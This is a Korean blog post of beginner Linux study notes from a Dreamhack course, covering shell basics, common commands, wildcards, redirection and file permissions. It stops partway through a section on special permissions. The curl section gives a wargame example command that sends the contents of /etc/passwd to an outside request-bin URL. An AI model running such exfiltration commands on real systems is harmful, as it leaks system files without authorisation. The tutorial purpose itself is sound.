- [Dreamhack] Dream Beginner_Linux2024년 05월 31일 20시 53분 12초에 업로드 된 글입니다.작성자: sonootri
1. 들어가며
이번 강의에서는 리눅스에 관한 기초적인 지식과 리눅스 사용법을 배운다.
우리가 윈도우를 사용할 때는 주로 Grapical User Interface(GUI)을 통해 다소 편리한 사용성을 누리며 컴퓨터를 사용한다. 하지만 보안을 공부하면서 전문적으로 linux를 배우고 사용하려면 Character User Interface(CUI) 기반의 터미널을 주로 사용하게 된다.
1.1. GUI/ CUI
먼저 GUI는 사용자가 컴퓨터와 정보를 교환할 때, 그래픽을 통해 작업할 수 있는 환경을 말한다. 예를들어 마우스를 이용하여 화면에 있는 메뉴를 선택해 작업하는 것을 떠올릴 수 있다.
(그래픽: 시각적으로 표현되는 모든 형태의 이미지, 아이콘, 도형, 텍스트 등을 의미한다.)
CUI는 텍스트를 통해 사용자와 컴퓨터가 상호작용하는 방식이다. 명령어를 입혁하여 조작하며, 주로 키보드를 통해 인터페이스를 사용한다.
-> 예를 들어보자. GUI기반의 컴퓨터에서는 클릭을 통해 원하는 파일로 진입할 수 있다. 하지만 CUI기반의 컴퓨터에서는 명령어 입력을 통해 원하는 파일로 진입할 수 있다. 아래 사진에서 보이듯 #cd(디렛토리 변경)명령어를 사용하여 현재 위치를 변경한다.(
파일과 디렉토리는 다른 개념이지만 상황 이해를 위해 사용했다)2. 셸(Shell)
셸은 유저가 리눅스 시스템을 이용할 수 있는 인터페이스이다. 셸은 유저에게 입력을 받고, 운영체제가 그것을 프로그램으로 처리하여 그 결과를 유저에게 출력한다.
(interface: 사용자가 컴퓨터와 소통할 수 있도록 하는 장치 또는 프로그램)
실습과 함께 살펴보자.
먼저 윈도우 기준 ctrl + alt + T를 누르면 터미널이 실행된다. 아래 사진이 바로 터미널이다. 터미널이 실행되면, 위의 사진과 같이 터미널 위에 bash 셸이 자동으로 실행된다.
2.1. Bash 셸
Bash 셸은 유닉스 계열 운영 체제에서 널리 사용되는 셸 프로그램 중 하나이다. Bash는 다양한 기능을 가진다.
- 명령어 해석기: Bash는 사용자가 입력한 명령어를 해석하고 실행한다. 이 기능을 통해 사용자는 파일 시스템을 탐색하고, 프로그램을 실행하며, 파일을 조작하는 등의 작업을 수행할 수 있다.
- 명령어 및 기능 내장: Bash는 많은 내장 명령어오 기능을 제공한다. 예를들어 cd(디렉토리 변경)/ ls(디렉토리 내용 목록)/ echo(출력) 등의 명령어 기능을 제공하여 사용자는 편리한 작업 환경에서 작업할 수 있다.
- 탭 완성: 사용자가 명령어를 입력할 때 탭 키를 눌러 자동 완성 하는 것도 Bash 셸의 기능중 하나이다.
- 파이프라인 및 리디렉션: Bash는 |(파이프)와 ><(리디렉션)을 사용하여 명령어의 출력을 다른 명령어의 입력으로 연결하거나(cin, cout과 비슷한 개념) 파일로 저장할 수 있다. 이는 작업 복잡성을 줄여준다
- 히스토리 기능: Bash는 history명령어와 함께, 사용자가 이전에 입력한 명령어의 기록을 저장하고 이를 쉽게 불러와 재사용 할 수 있는 기능을 제공한다.
아래 사진이 바로 Bash 셸이 실행되는 터미널의 화면이다.
지금까지 kali@kali-virtual-machine:~$을 bash셸이라고 생각해 사고가 꼬였었다 하하하하2.2. 터미널과 셸
터미널은 컴퓨터 시스템과 사용자 간의 상호작용을 위한 인터페이스이다. 그리고 셸은 사용자와 운영 체제 간의 상호작용을 중재하는 프로그램이다. 사용자는 셸을 통해 명령을 입력하고, 셸은 이 명령을 해석하여 운영 체제에 전달한다.
처음에는 터미널과 셸이 헷갈릴 수 있다. 요약하여 설명하자면, 터미널은 셸을 실행하는 환경을 제공한다. 그리고 셸은 터미널 내에서 실행되며, 사용자가 입력한 명령어를 해석하고 실행하는 역할을 담당한다
- 터미널: 사용자가 시스템과 상호작용할 수 있는 인터페이스(주로 텍스트 기반). 예: GNOME Terminal, Command Prompt.
- 셸: 사용자가 입력한 명령을 해석하고 실행하는 프로그램. 예: Bash, Zsh, PowerShell.
똑같은 이야기를 반복하는 것 같지만 맞다. 그냥 반복해서 익숙해지자!2.1 사진을 기반으로 다시 정리하면, 저 자주색 부분이 터미널, 그 안에 보이는 문자같은 것들이 셸이라는 소리다.2.3. 셸 프롬프트(Shell Prompt)
bash가 실행되면 아래와 같은 텍스트가 출력될 것이다. 이것을 셸 프롬프트라고 하며, 유저는 셸 프롬프트를 보고 셸이 명령어를 입력 받을 준비가 되었음을 알 수 있다.
kali@kali-virtual-machine:~$
셸 프롬프트에 #id 명령어를 실행해보자. 그러면 아래 그림과 같이 셸이 #id명령을 입력받아 그럿을 프로그램으로 처리하여 그 결과를 다시 유저에게 출력한다. 밑에 하얀색으로 출력된 내용 말이다.
#id는 현재 유저의 유저 ID와 해당 유저가 속해있는 그룹 ID를 보여주는 명령어이다.
- uid=1000(kali): 현재 사용자의 UID는 1000이며, 사용자의 이름은 kali이라는 의미
- gid=1000(kali): 현재 사용자의 기본 그룹의 GID는 1000이며 그룹 이름은 kali이라는 의미
- 이후의 모든 문장: 현재 사용자가 속한 그룹의 목록을 보여준다. 사용자인 kali는 기본 그룹인 kali 외 다른 그룹에도 속해 있음을 보여준다. adm, cdrom....sambashare고 같은 다른 그룹에도 속해 있다.
- +a: 1000은 일반적으로, 시스템에 처음 설치될 때 생성되는 기본 사용자 계정에 할당되는 숫자이다.
2.4. UID/ GID
먼저 UID는 User Identifier, User ID를 의미한다. 유닉스 계열에서의 사용자 식별번호로, 수퍼유저=root의 UID는 0이다.
GID는 Group Identifier, Group ID를 의미한다. 유닉스 계열의 그룹 식별 번호로, root의 GID는 0이다.
실제로 root권한을 얻은 후, #id명령어를 입력하면 uid, gid, groups에 모두 0이 할당되는 것을 볼 수 있다. root는 모든 파일과 시스템 리소스에 대한 접근 권한을 가지기 때문에 보통 0이라는 값을 할당 받는다.
위의 실습과는 다른 방식으로 uid와 gid를 찾아보자! #cat /etc/passwd 그리고 #cat /etc/group 명령어를 통해 확인할 수 있다.
먼저 #cat /etc/passwd의 출력값을 살펴보자. 사용자명:패스워드:uid:gid:정보:홈디렉토리:쉘환경 형태로 구성되어있다. 숫자는 어느정도 이해가 되는데, x는 뭘까? 이건 보안상의 이유로 비밀번호 해시값이 포함되지 않은 상태로 x로 대체되어 있는 것이다. 실제 비밀번호는 #cat /etc/shadow 파일에 저장되어있다.
다음으로 #cat /etc/group명령어의 출력값을 살펴보자. 여기서는 gid만을 찾을 수 있다. 사용자명:패스워드:gid 형태로 구성되어있다.
2.5. cat/ etc 명령어
# cat /etc/group을 예시로 설명하겠다.
- cat(concatenate): 파일 내용을 출력하는 명령어이다. 파일의 내용을 화면에 연속적으로 출력하는데 사용된다. 일반적으로 한 번에 하나 이상의 파일을 처리하고 출력한다
- etc/group: 시스템의 그룹 정보가 포함된 파일의 모든 경로이다
- etc: 시스템 관리와 설정 파일을 보관하는 디렉토리이다
사실 나는 cat따로 etc따로 group따로 해석해야 하는 줄 알았다. 맞나....?3. 기초적인 명령어
셸을 사용하여 리눅스를 이용하기 위해 필요한 기초적인 명령어들을 알아보자.
3.1. #sudo apt update
apt 명령어로 설치 가능한 소프트웨어 패키지 목록을 업데이트한다. 그리고 각 소프트웨어 패키지 별로 어떤 버전을 설치할 수 있는지도 업데이트한다.
(apt[Advanced Package Tool]명령어: 패키지 관리 시스템으로, 소프트웨어 패키지를 설치, 업데이터, 제거, 검색 등을 할 수 있다.)
나의 우분투 같은 경우 #sudo apt update명령어를 입력했을 때 'E:, N:'과 같은 메시지가 떴다. E메시지는 error을 나타낸다. 이는 패키지 목록을 업데이트 하는 동안 발생한 오류를 나타내며, 문제의 원인을 해결해야 한다는 의미이다. N메세지는 notice를 나타낸다. 이는 주로 중요한 정보나 알림을 전달하기 위한 메시지이다.
오류 메시지를 확인해 보면, apt명령어가 /var/lib/apt/lists/lock파일에 대한 잠금을 얻지 못했음을 나타내고 있다. 이은 현재 다른 apt 관련 프로세스가 실행중이기 때문에 발생하는 문제이다.
#ps aux | grep apt명령어를 사용해 실행중인 apt관련 프로세스를 확인해 보았다. 근데 위에서 보였던 6257이라는 보이지 않았다.
무슨 상황인지 몰라 일단 #sudo kill -9 [프로세스 번호] 명령어를 통해 6257 프로세스를 강제 종료 시켰다. 이후 다시 #sudo apt update 명령어를 입력했는데 아까랑은 다른 출력이 나왔다.
3.2. #sudo apt upgrade
리눅스에 설치된 소프트웨어 패키지의 버전을 업그레이드 한다. 오래된 소프트웨어 패키지에 존재하는 취약점은 보안 문제를 일으킬 수 있기 때문에 주기적으로 소프트웨어 패키지를 업그레이드하여 보안 문제를 예방하는 작업이 중요하다.
아래 화면은 #sudo apt upgrade 명령어를 통해 소프트웨어를 패키지를 업그레이드 한 후, #sudo apt update 명령어를 통해 다시 한번 목록을 출력해보았다. 아까와 달리 출력되는 목록 수가 줄어들었다. Hit는 해당 패키지 목록이 이미 최신 상태임을 의미한다.
3.1의 업데이트 전의 129KB문장이 업그레이드 이후 Hit으로 바뀐 것을 보아 업그레이드가 성공적으로 이루어진 것 같다!
3.3. #id
해당 명령어는uid와 gid를 출력한다. 리눅스는 권한을 기반으로 파일을 쓰고 실행할 수 있기 때문에 주로 자신이 해당하는 권한을 가지고 있는지 확인하기 위해 사용하는 명령어이다. 예를들어 root권한을 가지고 있어야만 접근할 수 있는 디렉토리에 접근이 가능한지 확인하기 위해 id명령어를 사용할 수 있다. 확인했을 떄 자신의 uid가 1000이면 접근이 불가하고, 0이면 접근 가능하다는 것을 알 수 있다.
3.4. #pwd
pwd(Print Working Directory)는 현재 작업 중인 디렉토리의 경로를 출력하는 명령어이다. 아래 실습 사진을 보며 이해해보자. 먼저 pwd를 통해 현재 작업 중인 디렉토리가 어딘지 살펴보자. /home/kali가 현재 위치한 디렉토리인 것 같다. 다음으로 #cd명령어를 통해 작업 경로를 변경한 뒤 pwd명령어를 사용해 보았다. 그랬더니 /home으로 경로가 바뀌었다.
3.5. #ls
List의 줄임말로, 디렉토리의 내용을 출력하는 명령어이다. -l옵션을 붙여서 사용할 수 있는데, -ls옵션은 파일 목록을 long format으로 표시하는 역할을 한다. 간단히 말해 각 파일에 대한 더 많은 정보를 제공하는 것이다.
현재 디렉토리 뿐만 아니라 임의 디렉토리의 내용을 출력하는 것도 가능하다. root디렉토리인 / 디렉토리의 내용을 출력하는 #ls -l /을 실행하면 다음과 같은 출력값이 나온다.
3.6. #cd
Change Directory의 줄임말로, 작업중인 디렉토리를 변경하는 명령어이다. 이를 사용하기 위해서는 절대경로와 상대경로를 이해해야한다.
3.7. #mkdir
Make Directory의 줄임말로, 디렉토리를 생성하는 명령어이다.
' /home/user 디렉토리에 위치할 때 mkdir new_dir 명령어로 new_dir 디렉토리를 생성하면, 다음과 같이 new_dir 가 새롭게 추가됩니다.'라고 드림핵에 적혀있다. 그러면 /home/user 디렉토리 이외의 디렉토리에 위치할 때 mkdir 명령어를 사용하면 오류가 발생할까? 정답은 '아니다'이다. 아래 실습과 함께 이해해 보자.
먼저 /home 디렉토리에서 mkdir명령어를 사용해 swing32_hyeonjin 디렉토리를 생성했다. 생성 후 ls명령어를 통해 디렉토리를 출력했을 때, 방금 만든 디렉토리가 정상적으로 생성된 것을 볼 수 있다.
다음에는 디렉토리 위치를 /var/log로 이동한 다음 swing32_hyeonjin250 디렉토리를 생성했다. 마찬가지로 ls명령어를 통해 디렉토리를 출력했고, 파란색으로 표시된 것을 보니 정상적으로 디렉토리가 생성된 것 같다. 중요한건 이 작업 후 다시 /home 디렉토리로 옮겨 ls명령어를 통해 디렉토리 정보를 봤을 때, /var/iog에서 생성한 디렉토리는 보이지 않았다.
->결론. 실습에서 진행했던 명령어는 상대경로를 바탕으로 작업이 진행되며, 디렉토리를 만들 때 유저가 위치한 디렉토리 내에 새로운 디렉토리가 생성된다.
위에서 상대경로가 나왔으니 자연스럽게 절대경로도 나올 것이라 생각 될 것이다. 절대경로를 사용하면 상대경로와 달리, 유저가 현재 어느 디렉토리에 위치해 있든지와 상관없이 원하는 디렉토리 내에 새로운 디렉토리를 생성할 수 있다. 이것도 예시와 함께 살펴보자.
먼저 디렉토리 위치를 /var/log로 바꾼 다음, 해당 디렉토리에서 swing32_2500이라는 디렉토리를 생성했다. 아까와 달리 mkdir [특정 디렉토리 위치]/[새롭게 생성하는 디렉토리 명] 형식으로 작성한다. 아까의 경우를 생각해 보면, swing32_2500 디렉토리는 현재 위치한 /var/log디렉토리에 생성되야한다. 하지만 ls를 통한 디렉토리 목록을 보면, 새롭게 만든 디렉토리가 없는 것을 볼 수 있다.
/home 디렉토리로 옮긴 후 ls명령어를 사용해 보았고, 아까 만든 swing32_2500이 해당 디렉토리에 생성된 것을 확인할 수 있다.
3.8. #touch
touch 명령어는, 비어 있는 새로운 파일을 만드는 데 사용한다. 앞서 생성한 swing32_hyeonjin 디렉토리로 이동 후 #ls -l 명령어를 실행해보면 아무런 파일도 존재하지 않는 것을 볼 수 있다.
이때 #touch hyeonjin_file 명령어를 실행한 후 #ls -l을 실행하면, 아래 화면과 같이 hyeonjin_file이 생성된것을 볼 수 있다.
3.9. #mv
Move의 줄임말로, 1.파일이나 디렉토리의 이름을 변경하거나 2. 파일이나 디렉토리의 위치를 옮길 때 사용하는 명령어이다.
먼저 1.파일이나 디렉토리의 이름을 변경할 때의 실습 화면을 보자. 내 경우, root권한을 얻지 않고 명령어를 사용했을 때 접근이 거부되었다. mv명령어를 사용하여 이름을 변경할 때 보통 root권한까지는 필요하지 않다고 하는데 왜 그런지 모르겠다. hyeonjin_file이 hyeonjin250_file로 변경된 것을 볼 수 있다.
다음은 2.파일이나 디렉토리의 위치를 옮길 때 사용하는 명령어를 사용했을 때의 모습이다. swinh32_hyeonjin 디렉토리에 있던 hyeonjin250_file을 #mv hyeonjin250_file /home 명령어를 사용해서 /home디렉토리로 저장 위치를 옮겼다. home 디렉토리에서 ls 명령어를 사용했을때, 밑에 뜨는 정보를 보면 알 수 있다.
3.10. #rm
Remove의 줄임말로, 파일이나 디렉토리를 삭제하는 명령어이다. #rm [파일명] 그리고 #rm -r [디렉토리명]을 통해 각각 파일과 디렉토리를 삭제할 수 있다. 디렉토리 삭제시 뒤에 -r플래그가 추가된다는 것을 잊지 말자.
파일 제거->디렉토리 제거 순서대로 진행했다. 디렉토리를 삭제할 때 -r플래그를 붙이지 않으면 어떻게 되는지 궁금해 -r을 쓰지 않고 명령어를 실행해봤다. 밑에 사진을 보면 에러가 난 것을 볼 수 있다.
3.11. #cat
파일의 내용을 출력하는 명령어이다. cat [파일경로] 형식을 사용할 수 있다. 아래 실습은 /etc/passwd 파일의 내용을 출력하는 모습니다. /etc/passwd 파일은 운영체제에 접근할 수 있는 유저 목록을 담고있는 파일이다.
** ) /etc디렉토리는 시스템의 설정 파일등이 위치하는 곳이다. 이 디렉토리는 운영 체제의 다양한 구성 요소와 애플리케이션의 설정 파일을 저장하는데 사용된다.
- /etc/passwd: 사용자 계정 정보가 저장된 파일
- /etc/fstab: 파일 시스템 탑재 정보를 담고 있는 파일
- /etc/network/interfaces: 네트워크 설정 파일 (Ubuntu의 경우)
- /etc/hosts: 호스트 이름과 IP 주소 매핑 파일
- /etc/ssh/sshd_config: SSH 서버 설정 파일
3.12. #file
파일의 유형을 출력하는 명령어이다. file 파일경로 형식으로 사용한다. 아래 실습은 /bin/ls 파일의 유형을 출력하는 모습이다. /bin/ls 파일은 ls명령어를 입력하면 실행되는 실행 파일이다.
- LF 64-bit LSB: ELF (Executable and Linkable Format) 형식의 64비트 리틀 엔디안 실행 파일임을 나타냅니다.[ELF 64-bit LSB에서 "LSB"가 리틀 엔디안임을 나타냅니다. "LSB"는 "Least Significant Byte"의 약자로, 리틀 엔디안 방식에서 데이터를 저장할 때 가장 낮은 바이트(즉, 가장 오른쪽에 있는 바이트)가 먼저 저장된다는 것을 의미합니다. 리틀 엔디안은 데이터를 메모리에 저장하거나 전송할 때 가장 낮은 주소에 가장 덜 중요한 바이트(least significant byte)를 배치하는 방법입니다. ] --낮은 주소 ~높은 주소임 주의 주
- pie executable: 위치 독립 실행 파일(Position Independent Executable)입니다.
- x86-64: x86-64 아키텍처용 실행 파일입니다.
- version 1 (SYSV): System V ABI(Application Binary Interface) 버전 1을 따릅니다.
- dynamically linked: 동적 링크된 파일입니다.
- interpreter /lib64/ld-linux-x86-64.so.2: 이 파일이 사용하는 인터프리터입니다.
- BuildID[sha1]=36b86f957a1be53733633d184c3a3354f3fc7b12: 이 파일의 빌드 식별자입니다.
- for GNU/Linux 3.2.0: 이 파일이 GNU/Linux 커널 3.2.0을 위해 빌드되었음을 나타냅니다.
- stripped: 디버깅 정보가 제거된 파일입니다.
어차피 지금 이해는 못한다. 하지만 읽어는 두자
3.13. #echo
셀에 유저가 입력한 텍스트를 출력한다. 셀에서 뿐만 아니라 #echo 명령어를 사용해서 파일을 생성할 수도 있다. echo 명령문 끝에 > 파일명 을 이어 붙여 실행하면, 파일명을 이름으로 가지는 파일을 생성하고, echo 뒤에 입력한 내용을 파일 내용으로 저장한다. #touch명령어를 사용해 echo_test 파일을 만든 뒤 Today is Monday 문자열을 입력 한 후, #echo 명령어를 사용해 실습했다.
다른 내용을 추가로 더 저장하고 싶을 떄는 >>를 사용하면 된다
3.14. #cp
Copy의 줄임말로, 파일이나 디렉토리를 복사하는 명령어이다. #rm 명령어와 마찬가지로 디렉토리를 복사할 때는 -r 플래그를 붙인 cp -r 을 사용한다. cp [복사 대상 파일명] [복사 당하는 파일명] 형식으로 사용한다.
아까 만든 echo_test 파일을 cp_test이름의 파일로 복사했다.
3.15. #grep
전체에서 특정 문자열을 찾을 때 사용한다. grep [특정 문자열] [대상 파일] 형식으로 사용할 수 있다. 나는 root와 bin 문자열이 /etc/passwd 파일에 있나 찾아보기 위해 #grep root /etc/passwd, #grep bin /etc/passwd 명령어를 사용했다.
3.16. #man
Manual의 줄임말로, 특정 명령어의 메뉴얼을 보여주는 명령어이다. 메뉴얼은 명령어 사용법, 옵션, 예제 등 유용한 정보를 담고 있다. 개인적으로 grep명령어가 잘 이해되지 않았어서 #man grep명령어를 사용해보았다.
3.17. #curl
client URL의 줄임말로, 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어이다. curl [옵션] [특정 URL] 형식으로 사용할 수 있으며 HTTP, HTTPS,FTP등 다양한 프로토콜을 지원한다
실습을 진행하는데 문제가 있었다. curl 관련 앱이 깔려있지 않은듯 보였다. 그래서 curl 앱 설치를 진행하고, 이후 네이버 웹 서버의 콘텐츠를 반환하여 출력해 보았다.
curl 명령어의 주요 옵션은 다음과 같다. 지금 모두 이해할 필요는 없으며, 다양한 방식으로 사용할 수 있다는 점을 기억하자.
- -o file : 전송 받은 데이터를 파일에 저장합니다.
- -i : 결과 값에 HTTP 응답 헤더를 포함합니다.
- -X "method" : HTTP 요청 메소드를 지정합니다.
- -d "key=value" : HTTP POST 메소드로 데이터를 전송합니다.
+a) curl은 워게임 문제를 풀 떄도 유용하게 사용된다. 예를 들어, 풀이자가 명령어 실행 결과를 볼 수 없는 경우, 결과를 curl 명령어에 포함하여 풀이자의 웹 서버로 전송한다면 문제가 해결된다. 다음 명렁어는 서버 내 /etc/passwd 파일을 https://hmqtzgx.request.dreamhack.games에 POST 데이터로 전송하는 예시이다.(2.4 확인)
curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"
Get->데이터를 조회하거나 검색할 때, 웹 페이지를 요청할 때 사용된다
Post-> 서버에 데이터를 제출하거나 업로드 할 떄, 사용자 입력 데이터를 서버에 전송할 때 사용된다.
**이 두 method는 각기 다른 용도로 사용되며, 상황에 맞게 적절한 method를 선택해 사용하는 것이 중요하다**
두 개를 요청과 응답으로 이해하면 절대 안된다...그럼 정말 많이 꼬인다...4. 와일드카드
와일드카드(wildcards)는 리눅스에서 임의의 다른 문자를 나타낼 수 있는 특수 문자들을 의미한다. 주로 명령어를 다른 문자열로 대체하기 위해 사용한다.
4.1. ? 그리고 *
?는 a-z, 0-9 범위 내 임의의 1개 문자로 대체된다. *는 a-z, 0-9 범위 내의 임의의 0개 이상 문자로 대체된다. ?부터 살펴보자.
먼저 5글자의 이름을 가지는 apple파일을 만들고, 안에 ABC라는 내용을 저장한다. ?를 5개 사용해서 cat명령어와 함께 사용했을 때도 정확하게 apple의 내용을 출력한다
그렇다면 5글자의 이름을 가지는 파일이 apple과 같은 디렉토리에 동시에 존재하면 어떻게 될까? mango파일을 만들어 실습 해 보았다.
?를 5개 사용하여 cat명령어를 사용하니, 두 파일의 내용이 모두 출력된다. 원하는 파일이 출력되도록 하고 싶다면, 일부 알파벳으로 차이를 주어야한다. a????이렇게 말이다.
-----------------------------------------------------------------------------------------
이제 *를 살펴보자. 텍스트 설명만 봤을 떄는 ?와 별 차이 없어보인다. 밑의 실습 화면을 보며 이해하자.
ls를 통해 apple.txt / apple1,2.txt/ apple11,22.txt 파일을 확인할 수 있다. 각각의 파일에는 1,2,3,4,5라는 내용이 들어있다. 임의의 1개 문자로 대체되는 ?를 사용하면, 파일명의 글자수와 와일드카드 개수가 동일한 파일만 출력된다.
하지만 0개 이상의 문자로 대체되는 *를 사용하면, 파일명의 글자수와 상관 없이 해당 디렉토리에 있는 모든 파일이 출력된다. *만 써도 아래와 같은 출력값이 나온다.
<요약>
- *는 아무 문자도 없을 수 있고, 여러 문자도 포함할 수 있다는 뜻으로 이해하면 편하다
- ?: 정확히 하나의 문자와 매칭된다
- *: 0개 이상의 모든 문자와 매칭된
-> 이러한 와일드카드를 사용하면, 파일 및 디렉토리를 보다 효율적으로 검색하고 작업할 수 있다! apple이름의 txt파일이 많았지만, 하나하나 다 지우지 않고 #rm apple*을 통해 한번에 지울 수 있다.
4.2. []
[문자1-문자2-...] 혹은 [문자1, 문자2,...] [문자(문자)-] 형태로 범위를 지정해 사용한다. 범위 내 모든 문자로 대체될 수 있다
5. 리다이렉션
리다이렉션(redirection)은 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 변경하는 작업이다. 주로 어떤 명령어의 결과를 파일로 저장하거나, 다른 명령어의 입력으로 전달하는 형태로 리다이렉션한다.
텍스트로 읽으니 뭔 소리를 하는지 잘 이해가 안 된다. 실습과 함께 이해해보자.5.1. 명령어 > 파일(출력 덮어쓰기)
명령어 표준 출력을 파일로 변경한다. 파일이 없으면 새로 만들고, 있으면 덮어쓴다.
ls text[0-2]명령어의 결과물인 text0 text1 text2를 world 파일에 쓰는 예시이다. 내가 리다이렉션 지목한 파일이 없으면 새로 만들어진다는데, ls명령어를 통해 확인해보니 정말로 world 파일이 새롭게 생겼다.
5.2. 명령어 >> 파일(출력 이어쓰기)
위와 설명은 같다. 하지만 큰 차이점이 있으니 집중해서 보기 바란다. 아래 사진과 함께 이해하자
먼저 ls text[0-2]의 명령어 표준 출력을 world에 저장한다. 그럼 world의 cat명령어 반환값은 ls text[0-2]의 명령어 표준 출력이 된 것을 볼 수 있다.
이 상태에서 ls hello의 명령어 표준 출력을 world 파일에 추가해 보려고 했지만, >는 덮어쓰기의 기능을 하기 떄문에 추가 대신 저장된 값이 ls hello의 명령어 표준 출력으로 바뀐다.
---------------------------------------
특정 내용을 추가하려면 >>를 사용해야 한다. 아래 사진을 통해 이해하자
5.3. 명령어 < 파일
명령어 표준 입력을 파일로 변경한다. 파일로부터 표준 입력을 받아 명령어를 수행한다.
이 부분 잘 이해 안된다...나중에 다시 보자..5.4. 파이프
파이프(pipe)는 리다이렉션의 한 형태로, 명령어 결과 표준 출력을 다른 표준 입력으로 보낼 때 사용한다. 파이프는 문자 |(논리 연산자 or)로 나타낸다.
아래 사진은 ls -l 명령 결과에서 hello가 포함된 행을 찾아 출력하는 예시이다.
- ls -l: 현재 디렉토리의 상세 목록을 출력합니다.
- |: 파이프 연산자로, ls -l 명령어의 출력을 다음 명령어인 grep hello로 전달합니다.
- grep hello: 입력된 텍스트 중에서 "hello"를 포함하는 줄을 필터링하여 출력합니다.
-> 위의 명령어를 사용하지 않고 ls -l의 출력값 중 hello를 포함하는 부분을 찾을 수는 있다. 하지만 이 방법이 가장 간단하고 직관적이니 참고하자.
/* 지금까지 리눅스에서 사용되는 기초적인 명령어와 문자들을 알아보았다. 배운 명령어를 바로 모두 외우는 것은 쉽지 않을 것이다. 앞의로 강의를 수강하고 워게임을 풀면서 자연스럽게 명령어들을 익히는 것이 좋다. 처음에는 명령어가 기억나지 않아 본 강의를 보거나 구글링을 통해 검색해가며 사용할 수도 있지만, 점차 명령어가 손에 익을 것이다. */
6. 권한
6.1. 유저(user)와 그룹(group)
리눅스에서 유저와 그룹은 리눅스의 권한 시스템을 설명하기 위해 빠뜨릴 수 없는 개념이다. 리눅스의 각 유저는 이름과 고유한 사용자 ID(UID)를 가지고 있다. 그룹은 말 그대로 여러 유저가 속할 수 있는 그룹으로, 이 역시 그룹 이름과 고유한 그룹 ID(GID)를 가진다.
주의 할 점은, root, bin 등도 사용자 계정이라는 것이다. 나와 내가 내 서버에 초대한 친구들만 사용자라는 생각은 하지 않는게 좋다.파일이나 디렉토리와 같은 시스템 자원에 유저가 접근하면, 유저의 UID와 해당 유저가 속한 그룹의 GID를 확인하여 정당한 권한(예를 들어, 파일을 열어볼 수 있는)을 가지고 있는지를 판단해 접근을 제어한다.
/etc/passwd 는 리눅스의 유저 정보를 담고 있는 텍스트 파일이다. 각 사용자의 이름, 사용자 ID, 속해있는 그룹 ID 등의 정보를 포함하고 있다. 앞에서 배웠던 cat명령어를 사용하여 /etc/passwd 파일의 내용을 확인할 수 있다.
/etc/group 은 리눅스의 그룹 정보를 저장하는 텍스트 파일이다. 각 그룹의 이름, GID, 그룹에 속한 유저 목록 등의 정보를 포함하고 있다. 위의 예시와 마찬가지로 cat명령어와 함께 실습을 진행했다. cat명령어는 다시 말하지만, 파일의 내용을 확인하는 명령어이다.
6.2. 파일 및 디렉토리 권한
리눅스는 사용자가 파일과 디렉토리에 접근하는 행위에 대해 권한으로 제어한다. 각 파일과 디렉토리는 소유자(owner) 와 소유 그룹(group)을 가지고 있다. 소유자는 파일 또는 디렉토리의 권한을 수정할 수 있는 능력을 가진다. 소유자는 이를 통해 소유자 또는 소유 그룹에 포함된 유저가 해당 파일 또는 디렉토리에 대해서 얼마만큼 접근 권한을 가질 것인지 설정할 수 있다. 다음과 같은 세 종류의 접근 권한이 존재한다.
- 읽기(r): 파일 또는 디렉토리의 내용을 볼 수 있게 허용한다
- 쓰기:(w) 파일 또는 디렉토리의 내용을 수정하거나 삭제하는 것을 허용한다
- 실행(x): 파일이 프로그램인 경우 실행할 수 있게 허용한다. 디렉토리의 경우, 디렉토리의 내용에 접근할 수 있도록 허용한다.
파일이나 디렉토리의 권한을 보기 위해 ls -l을 사용한다. 해당 명령어는 디렉토리의 내용을 권한 정보와 함께 출력한다. 자세히 살펴보면 파일 타입 및 권한 | 링크 수 | 소유자 | 그룹 | 파일 크기 | 마지막 수정 날짜 및 시간 | 파일 이름 으로 구성되어있다.
----<권한 플래그>-----
- -rw-r--r--: 일반 파일로, 소유자에게 읽기/쓰기 권한이 있고, 그룹과 다른 사용자에게 읽기 권한만 있음.
- drwxr-x---: 디렉토리로, 소유자에게 읽기/쓰기/실행 권한이 있고, 그룹에게는 읽기/실행 권한만 있음.
6.3. dir 디렉토리와 함께하는 예시
-------------------------------------------
마지막 점 내용 잘 이해하자. 소유자 권한 플래그 -> 소유 그룹 권한 플래그 -> 일반 유저 권한 플래그 순이다.
6.4. 파일 및 디렉토리 권한 명령어 - chmod
먼저 chmod는 파일 권한을 변경하는 명령어이다. root 유저 또는 파일의 소유자만 실행할 수 있다. chmod [권한 파일명] 형식으로 사용하면 된다. 권한을 표현할 떄는 권한 플래그를 10진수로 표현하거나, 기존의 권한에 문자를 더하거나 뺀다. 실습을 통해 이해해보자.
먼저 #ls -l hello 명령어를 통해 파일을 살펴보자. 아직 hello 파일에 일부 권한만 부여된 상태이다.
소유자는 읽고 쓰고 실행할 수 있고, 소유 그룹은 읽고 쓸 수 있고, 일반 유저는 읽을 수만 있도록 hello 파일을 수정해보자. 소유자 권한은 rwx이므로, 111=7, 소유 그룹 권한은 rw-이므로 110=6, 일반 유저 권한은 r--이므로 100=4이다. chmod 764 hello 를 실행하면 권한이 아래 사진과 같이 변경된다.
이번에는 hello 파일 소유 그룹에 실행 권한을 추가로 부여해보자. 다음과 같이 chmod g+x hello 명령어를 실행하면 권한이 변경된다. 권한을 제거하고 싶으면 chmod g-wx hello 와 같은 형식으로 입력한다. 이 경우는 쓰기(w) 권한과 실행 권한(x)가 제거된 상태이다.
* * *) 참고로, 소유자(user)는 u/ 소유 그룹(group)은 g/ 일반 유저(others)는 o로 표현된다.
6.5. 파일 및 디렉토리 권한 명령어 - chown
chown 은 파일 소유자 혹은 소유 그룹을 변경하는 명령어이다. root 유저만 실행 할 수 있다. chown [사용자명 or 그룹명] [파일명] 형식으로 사용한다. 소유 그룹만 변경하고 싶은 경우 chgrp 명령어를 사용한다. 이것 역시 실습과 함께 이해해보자.
hello 파일의 소유자를 root에서kali로 변경하는 실습을 해보자.
6.6. 특수 권한
앞서 배운 r, w, x 권한 외에 특수한 권한 3가지를 알아보자.
명령어 아님 주의6.6.1. setuid
이 명령어를 사용 할 경우, 일반 사용자가 파일을 실행하면 파일 소유자 권한으로 실행된다. 예를 들어, /bin/passwd 파일은 소유자가 root 이지만, setuid가 설정되어있어 일반 사용자가 root 권한으로 실행하고 비밀번호도 변경할 수 있다. setuid는 소유자의 실행 권한에 x대신 s문자로 나타낸다. 대문자 S로 표시되는 경우에는 setuid가 걸려 있으나 실행 권한이 없는 경우이다.
s가 걸려있는 파일도 chmod 명령어를 통해 특수 권한 변경이 가능하다.
6.6.2. setgid
